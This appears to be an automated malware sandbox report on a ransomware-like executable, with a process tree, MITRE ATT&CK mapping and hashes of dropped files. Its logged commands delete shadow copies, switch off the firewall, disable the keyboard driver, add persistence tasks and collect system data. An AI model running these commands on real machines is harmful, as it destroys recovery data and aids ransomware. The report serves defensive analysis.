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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:1532
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3952
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1152
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2540
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:768
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5820 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4932
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3936 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4684
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:240 -
C:\Windows\system32\whoami.exewhoami3⤵PID:3680
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5168 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3580
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4692
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1184 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:1732
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3944
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:2328
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2784
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5740
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:1212
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1776
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2580
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1108
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a0a855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:5268
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C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exeC:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe1⤵PID:3608
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C:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exeC:\Users\Admin\AppData\Local\Temp\035mfr7.buzz_hyber.exe1⤵PID:4212
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1884
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 b9fbb74888cb9792bff9e3f0a66796043b028c72d5918c51711d76abc15f5b4e
- MD5 d9c5fe67d09e7a52f9ac8c4bbfe8b035
- SHA1 a9cc34df496d5b02d838aa755c94d45627cb7249
- SHA512 ebe14817c5c14d76307b12bbcd197dd9b94e9c14f8ff1f60fa83a5beb4cdeab1703104b1050500fb25affa555138f108788d5b8ae204e811170797f0f3fc8a30
- SSDEEP 1536:a2Rveo0zwn1+7cRMa3EJfVOrjWjok91WojXQQdGU4I13VxHd8E1hC:agvQzwnA81E/m+bNXQQoRIJVxHd8E1hC
- TLSH T141632A334B23FDC5677F3D80F1942E820C883A6787B5666CFBC50A5938A5684EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 64ba327c2e991f54269928eb5c34e7259a0e19741fea1bbd9fa20f10f04c53cf
- MD5 73719090d798dab88ec819e535fe3876
- SHA1 7a30fdc727ed4177194e9f38aef8af183e1dcb09
- SHA512 26dc18cf07eedfca0e048345855a327a55b2552dce0896780f97d396ec0ea625addec0ac4da4ba4542518e29ac0420a38a013ae864adcf2ecfdd84bc037c430d
- SSDEEP 1536:62Rveo0zwn1+7cRMa3EJfVOrjWjok91WojXQQdGU4I13VxHd8E1hV:6gvQzwnA81E/m+bNXQQoRIJVxHd8E1hV
- TLSH T1F6632A734B23FDC5277F3D80F0942E820C883A678775666CFBC90A5939A5684EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 243B
- SHA256 2e27da67cf03a3a237835e2896495a1aa80c862baec23c4ee05198e13680da4b
- MD5 8bafa2f8b8992a89c4d933410611d176
- SHA1 63fd2cb3f02888b27e177f33b84c430622931c92
- SHA512 a191a06c42dd68212c2d94db6ad68b363fe8ff7bfad888a282cd5736e4152bc7d387dfa0c074fd5147b22b73084f81313cadb83e0c841c9d9067a4f5bcaa42eb
- TLSH T198D0A78BB64DC6A90001127B81F38E8CE6F548283B17BE605AA5DD4E369198589F6A83
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 244B
- SHA256 9308475a1ced4b19c32a4be19fc31ca011de2d9c7b6ed0e81f5d98a14f685e33
- MD5 dc33abf480db083563ec76c26a8158a6
- SHA1 c64b04e2c69d41fb66e0d06dc9a968171dcb5f96
- SHA512 6d93fd5ba7e7e8907e87cdb8e7d192230a8ae6b1efa5b0e03086cdcf4c642fa373ae3e845b71b5508fc9e3622218397a8f5430632be2ff0fefb7a2e92fd7ffbd
- TLSH T146D0A587754DC5650001117B41F38D4CD6E148283B177E605965DD4E378154545F5A43
- MD5 SHA1 SHA512 TLSH